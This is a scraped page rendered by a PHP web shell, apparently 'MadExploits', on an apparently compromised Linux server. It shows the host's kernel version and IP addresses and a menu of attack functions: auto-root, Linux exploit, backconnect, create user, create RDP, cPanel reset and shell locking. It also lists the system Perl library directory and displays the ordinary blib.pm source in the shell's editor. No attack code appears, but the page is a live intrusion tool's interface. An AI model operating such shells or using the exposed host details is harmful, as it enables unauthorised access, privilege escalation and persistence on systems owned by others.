Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.22.42.189
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Compress
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
LWP
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Perl
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
Version
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.56
KB
-rw-r--r--
AutoLoader.pm
14.66
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.87
KB
-rw-r--r--
CORE.pod
2.7
KB
-rw-r--r--
CPAN.pm
132.91
KB
-rw-r--r--
DB.pm
18.43
KB
-rw-r--r--
DBM_Filter.pm
14.06
KB
-rw-r--r--
DirHandle.pm
1.52
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.34
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
4.45
KB
-rw-r--r--
LWP.pm
21.15
KB
-rw-r--r--
Memoize.pm
34.4
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.19
KB
-rw-r--r--
Safe.pm
24.03
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.97
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.97
KB
-rw-r--r--
URI.pm
33.01
KB
-rw-r--r--
XSLoader.pm
9.99
KB
-rw-r--r--
_charnames.pm
29.8
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.37
KB
-rw-r--r--
bigint.pm
17.44
KB
-rw-r--r--
bignum.pm
18.23
KB
-rw-r--r--
bigrat.pm
14.11
KB
-rw-r--r--
blib.pm
2.04
KB
-rw-r--r--
bytes.pm
2.96
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
charnames.pm
19.22
KB
-rw-r--r--
deprecate.pm
3.01
KB
-rw-r--r--
diagnostics.pm
17.96
KB
-rw-r--r--
dumpvar.pl
14.96
KB
-rw-r--r--
feature.pm
11.06
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
if.pm
1.13
KB
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.13
KB
-rw-r--r--
locale.pm
2.72
KB
-rw-r--r--
lwpcook.pod
9.05
KB
-rw-r--r--
lwptut.pod
24.89
KB
-rw-r--r--
open.pm
7.83
KB
-rw-r--r--
overload.pm
52.66
KB
-rw-r--r--
overloading.pm
1.77
KB
-rw-r--r--
perl5db.pl
302.79
KB
-rw-r--r--
perlfaq.pm
94
B
-rw-r--r--
sigtrap.pm
7.46
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
strict.pm
3.84
KB
-rw-r--r--
subs.pm
845
B
-rw-r--r--
utf8.pm
7.6
KB
-rw-r--r--
utf8_heavy.pl
30.1
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
vmsish.pm
4.22
KB
-rw-r--r--
warnings.pm
18.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : blib.pm
package blib; =head1 NAME blib - Use MakeMaker's uninstalled version of a package =head1 SYNOPSIS perl -Mblib script [args...] perl -Mblib=dir script [args...] =head1 DESCRIPTION Looks for MakeMaker-like I<'blib'> directory structure starting in I<dir> (or current directory) and working back up to five levels of '..'. Intended for use on command line with B<-M> option as a way of testing arbitrary scripts against an uninstalled version of a package. However it is possible to : use blib; or use blib '..'; etc. if you really must. =head1 BUGS Pollutes global name space for development only task. =head1 AUTHOR Nick Ing-Simmons nik@tiuk.ti.com =cut use Cwd; use File::Spec; use vars qw($VERSION $Verbose); $VERSION = '1.06'; $Verbose = 0; sub import { my $package = shift; my $dir; if ($^O eq "MSWin32" && -f "Win32.xs") { # We don't use getcwd() on Windows because it will internally # call Win32::GetCwd(), which will get the Win32 module loaded. # That means that it would not be possible to run `make test` # for the Win32 module because blib.pm would always load the # installed version before @INC gets updated with the blib path. chomp($dir = `cd`); } else { $dir = getcwd; } if ($^O eq 'VMS') { ($dir = VMS::Filespec::unixify($dir)) =~ s-/\z--; } if (@_) { $dir = shift; $dir =~ s/blib\z//; $dir =~ s,/+\z,,; $dir = File::Spec->curdir unless ($dir); die "$dir is not a directory\n" unless (-d $dir); } # detaint: if the user asked for blib, s/he presumably knew # what s/he wanted $dir = $1 if $dir =~ /^(.*)$/; my $i = 5; my($blib, $blib_lib, $blib_arch); while ($i--) { $blib = File::Spec->catdir($dir, "blib"); $blib_lib = File::Spec->catdir($blib, "lib"); $blib_arch = File::Spec->catdir($blib, "arch"); if (-d $blib && -d $blib_arch && -d $blib_lib) { unshift(@INC,$blib_arch,$blib_lib); warn "Using $blib\n" if $Verbose; return; } $dir = File::Spec->catdir($dir, File::Spec->updir); } die "Cannot find blib even in $dir\n"; } 1;
Close
